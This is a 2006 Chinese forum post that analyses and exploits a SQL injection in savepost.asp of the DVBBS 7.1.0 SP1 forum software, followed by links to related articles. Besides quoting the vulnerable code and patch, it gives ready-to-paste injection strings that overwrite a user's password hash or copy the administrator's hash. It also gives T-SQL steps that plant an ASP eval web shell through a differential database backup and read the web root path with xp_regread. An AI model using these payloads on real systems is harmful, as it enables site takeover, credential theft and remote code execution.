dvbbs7.1sp1最新漏洞的研究和利用

简介: [怪狗] 发表于2006-05-12 00:02 ...
[ 怪狗] 发表于2006-05-12 00:02
 

动网论坛(DVBBS 7.1.0 SP1)Savepost.asp存在严重漏洞10-May-06
发现:Bug.Center.Team
严重程度:严重
厂商名称:动网论坛(DVBBS)
程序版本:DVBBS 7.1.0 SP1

漏洞分析:
因为程序在savepost.asp文件中变量过滤不严,导致数据库处理产生漏洞,可以取得论坛所有权限以及webshell。已经提交官方审核,并通过确认,补丁已经公布

厂商补丁:
http://bbs.dvbbs.net/dispbbs.asp?boardID=8&ID=1187367&page=1

看到下面:
------------------------------
If Not IsNumeric(Buy_VIPType) Then Buy_VIPType = 0
    If Buy_UserList<>"" Then Buy_UserList = Replace(Replace(Replace(Buy_UserList,"|||",""),"@@@",""),"$PayMoney","")
    ToolsBuyUser = "0@@@"&Buy_Orders&"@@@"&Buy_VIPType&"@@@"&Buy_UserList&"|||$PayMoney|||"
    GetMoneyType = 3
    'UseTools = ToolsInfo(4)
------------------------------------

再朝下看:
Public Sub Insert_To_Announce()
'插入回复表
DIM UbblistBody
UbblistBody = Content
UbblistBody = Ubblist(Content)
SQL="insert into "&TotalUseTable&"(Boardid,ParentID,username,topic,body,DateAndTime,length,RootID,layer,orders,ip,Expression,locktopic,signflag,emailflag,isbest,PostUserID,isupload,IsAudit,Ubblist,GetMoney,UseTools,PostBuyUser,GetMoneyType) values ("&Dvbbs.boardid&","&ParentID&",'"&username&"','"&topic&"','"&Content&"','"&DateTimeStr&"','"&Dvbbs.strlength(Content)&"',"&RootID&","&ilayer&","&iorders&",'"&Dvbbs.UserTrueIP&"','"&Expression(1)&"',"&locktopic&","&signflag&","&mailflag&",0,"&Dvbbs.userid&","&ihaveupfile&","&IsAudit&",'"&UbblistBody&"',"&ToMoney&",'"&UseTools&"','"&ToolsBuyUser&"',"&GetMoneyType&")"
Dvbbs.Execute(sql)

可以看到Buy_UserList这个变量过滤有问题,呵呵,这个变量又导致ToolsBuyUser这个变量有问题。的确是可以注射,呵呵。
在悔过头来看补丁里面:
insert里面有修补:&dvbbs.checkstr(ToolsBuyUser)&"
看来应该是这个地方了。
利用起来最好是sql版本,可以updata改管理员密码,或者差异备份得shell。
利用办法嘛,先注册一个id,找个版面发帖子,
帖子内容下面有个选择帖子类型。
选择---论坛交易币设置。
下面是表单内容。

看源代码:
-------------------------------------





金币数量:

-------------------------------------
就是这个地方了,hoho。
下面有个“可购买名单限制”,里面就填写:
xjy111',0);update/**/Dv_User/**/set/**/UserEmail=(select[Password]from/**/Dv_admin/**/where[Username]='yellowcat')/**/where[UserName]='qq156544632';--

提交成功。
看看我的Email。
晕死,居然成了空白。不知道为什么哈。
来点直接的:

coolidea|||123',0);update/**/Dv_User/**/set/**/UserPassword='469e80d32c0559f8'/**/where[UserName]='qq156544632';--
这回好了,先退出,用admin888这个密码直接成功登录。
好了,语句没有问题,大家现在可以自由发挥,会写工具的,吧delphi什么的搬出来。
直接改管理员的密码进后台,可以恢复数据库的办法得到shell(参考angel的文章,dvbbs7.1sql版本依然可以吧)
或者差异备份(后台可以看到web绝对路径):

create table aspshell (str image);

declare @a sysname select @a=db_name() backup database @a to disk='D:/wwwroot/dvbbs7sp1/wwwroot/qq156544632.bak;

insert into aspshell values(0x3C256576616C20726571756573742822232229253E);
declare @a sysname select @a=db_name() backup database @a to disk='D:/wwwroot/dvbbs7sp1/wwwroot/qq156544632.asp' with differential;

drop table aspshell;

另外一种得到web绝对路径办法(从职业欠钱兄弟那里看到的)
create table regread(a varchar(255),b varchar(255));
(建立一个临时表,存放读取到的信息)
insert regread exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM/CONTROLSet001/Services/W3SVC/Parameters/Virtual Roots', '/'
(使用xp_regread这个函数读取注册表信息得到虚拟目录路径,并存入临时表中)
update dv_boke_user set boketitle=(select top 1 b from regread) where bokename='admin'

至于acess版本没有研究。

[至于工具,实在没必要写,因为利用起来很简单,把所利用的注入语句复制粘贴一下就可以了。对于动网SQL版,我感觉危害比当初的上传漏洞还要严重,因为操作起来很方便。希望大家本着一种学习技术的心态,不要对存在漏洞的站点实施破坏攻击!!!——
http://aliwy.77169.com

目录
相关文章
|
19天前
|
存储 监控 安全
深入调查研究挖掘Windows AD
【11月更文挑战第18天】
18 0
|
安全 Windows
Google工程师发现公布XP漏洞 并提供攻击代码
来自TechTarget的报道称:Google工程师塔维斯·奥曼迪(Tavis Ormandy)日前公开了Windows XP的一处漏洞,该漏洞允许黑客控制用户计算机,此举导致微软很不高兴。 尽管奥曼迪已经声明,该行为只代表个人,与 Google 公司无关,但微软还是很生气。
793 0
|
Web App开发 安全 Android开发
Windows 7成为Pwn2own黑客挑战赛目标
Windows 7近日颇受众人欢迎,一年一度的美国黑客挑战赛也将目光瞄向了Windows 7,据悉,下月16号于温哥华举行的CanSecWest 2009大会中的Pwn2own竞赛将包括入侵Windows 7系统下的浏览器以及破解智能手机操作系统。
649 0
|
安全
针对CVE-2015-2545漏洞研究分析
本文讲的是针对CVE-2015-2545漏洞研究分析,这是一种MSOffice漏洞,允许通过使用特殊的 Encapsulated PostScript (EPS)图形文件任意执行代码。这种漏洞于2015年3月被发现,漏洞未修补情况持续了4个月。之后,
1546 0
|
安全 Java C#
文档型漏洞攻击研究报告
本文讲的是文档型漏洞攻击研究报告,由于反病毒技术快速发展及免费安全软件在全球的高度普及,恶意程序的传播变得越来越困难。自2013年以来,中国一直是全球个人电脑恶意程序感染率最低的国家。
1970 0